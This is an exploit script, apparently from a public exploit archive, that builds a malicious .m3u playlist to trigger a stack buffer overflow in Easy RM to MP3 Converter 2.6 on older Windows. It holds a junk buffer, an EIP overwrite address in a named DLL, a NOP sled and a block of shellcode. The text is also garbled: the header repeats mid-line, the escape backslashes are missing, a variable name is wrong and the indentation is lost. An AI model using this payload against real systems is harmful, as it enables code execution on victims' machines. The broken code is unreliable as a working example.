# Exploit Title : Easy Rm to Mp3 Convertor
# Date : Aug 11, 2018
# Author = Mr.0&1IRIH ma_mohammadi1980@yahoo.com
# Version = 2.6

# Tested On windows 7 3 # Exploit Title : Easy Rm to Mp3 Convertor
# Date : Aug 11, 2018
# Author = Mr.0&1IRIH ma_mohammadi1980@yahoo.com
# Version = 2.6

# Tested On windows 7 32 bit (Ultimate)
# Tested On windows Vista 32 bit
# Tested On windows Xp SP3

# Previous Exploits do NOT work on windows & versions. This one Does !
b = "x41" * (26088)
eip = "x58xb0x01x10" # 0x1001b058 # DLL = [MSRMfilter03.dll]
n = "x90" * 25
shell = ("xd9xecxd9x74x24xf4xb8x28x1fx44xdex5bx31xc9xb1"
"x33x31x43x17x83xebxfcx03x6bx0cxa6x2bx97xdaxaf"
"xd4x67x1bxd0x5dx82x2axc2x3axc7x1fxd2x49x85x93"
"x99x1cx3dx27xefx88x32x80x5axefx7dx11x6bx2fxd1"
"xd1xedxd3x2bx06xcexeaxe4x5bx0fx2ax18x93x5dxe3"
"x57x06x72x80x25x9bx73x46x22xa3x0bxe3xf4x50xa6"
"xeax24xc8xbdxa5xdcx62x99x15xddxa7xf9x6ax94xcc"
"xcax19x27x05x03xe1x16x69xc8xdcx97x64x10x18x1f"
"x97x67x52x5cx2ax70xa1x1fxf0xf5x34x87x73xadx9c"
"x36x57x28x56x34x1cx3ex30x58xa3x93x4ax64x28x12"
"x9dxedx6ax31x39xb6x29x58x18x12x9fx65x7axfax40"
"xc0xf0xe8x95x72x5bx66x6bxf6xe1xcfx6bx08xeax7f"
"x04x39x61x10x53xc6xa0x55xabx8cxe9xffx24x49x78"
"x42x29x6ax56x80x54xe9x53x78xa3xf1x11x7dxefxb5"
"xcax0fx60x50xedxbcx81x71x8ex23x12x19x7fxc6x92"
"xb8x7f")
payload = (v + eip + n + shell)
with open ("final.m3u", 'w') as d:
d.write (payload)
print "created"
#print len(payload)